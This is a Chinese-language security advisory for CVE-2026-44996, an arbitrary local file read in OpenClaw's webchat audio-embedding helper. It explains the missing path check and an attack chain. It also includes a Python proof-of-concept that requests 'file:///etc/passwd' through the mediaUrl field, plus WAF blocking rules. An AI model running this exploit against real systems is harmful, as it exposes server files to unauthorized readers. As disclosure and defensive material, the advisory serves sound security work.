IPBUF安全漏洞报告
English
CVE-2026-44996 CVSS 3.7 低危

CVE-2026-44996 OpenClaw任意本地文件读取漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-44996
漏洞类型
任意文件读取
CVSS评分
3.7 低危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

任意文件读取OpenClaw路径遍历信息泄露

漏洞概述

OpenClaw 2026.4.15之前的版本在webchat音频嵌入辅助功能中存在任意本地文件读取漏洞。由于程序未能正确应用本地媒体根目录的包含检查,攻击者可以影响`ReplyPayload.mediaUrl`参数,解析绝对本地路径或文件URL,读取服务器上的音频类文件,并将其以base64编码嵌入到webchat响应中。

技术细节

该漏洞根源在于OpenClaw的webchat音频嵌入辅助功能在处理媒体文件请求时,未能严格验证文件路径是否限制在预期的本地媒体根目录内。攻击者可以通过影响由代理或工具生成的`ReplyPayload.mediaUrl`参数,传入精心构造的绝对本地路径(例如`/etc/passwd`)或文件URL(例如`file:///etc/passwd`)。由于系统缺乏有效的路径遍历防护机制,应用程序在处理这些恶意请求时,会直接读取指定路径的文件内容,并将其转换为base64编码格式,最终嵌入到webchat的响应消息中返回给攻击者,从而导致服务器上的敏感信息发生泄露。

攻击链分析

STEP 1
侦察
攻击者识别出目标使用的是OpenClaw 2026.4.15之前的版本,且webchat功能开放。
STEP 2
利用
攻击者向webchat接口发送特制的请求,在`ReplyPayload.mediaUrl`字段中填入恶意的绝对路径(如`/etc/passwd`)或`file://`协议URL。
STEP 3
数据泄露
服务器端未进行路径校验,读取指定文件内容,将其Base64编码后嵌入响应返回给攻击者。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Target URL of the vulnerable OpenClaw instance target_url = "http://target-openclaw-instance/api/webchat" # Construct malicious payload exploiting the arbitrary file read # Using file:// protocol to access local files malicious_payload = { "replyPayload": { "mediaUrl": "file:///etc/passwd" } } headers = { "Content-Type": "application/json" } try: # Send the malicious request response = requests.post(target_url, data=json.dumps(malicious_payload), headers=headers) if response.status_code == 200: print("[+] Exploit successful!") print("[+] Response content:") # The response likely contains the base64 encoded file content print(response.text) else: print("[-] Exploit failed or target not vulnerable") print(f"Status Code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

OpenClaw < 2026.4.15

防御指南

临时缓解措施
建议立即升级到修复版本。若无法立即升级,应部署Web应用防火墙(WAF),规则需拦截包含`file://`、`../`或绝对路径符号(如`/etc/`、`C:/`)的JSON请求体参数,以阻断漏洞利用尝试。

参考链接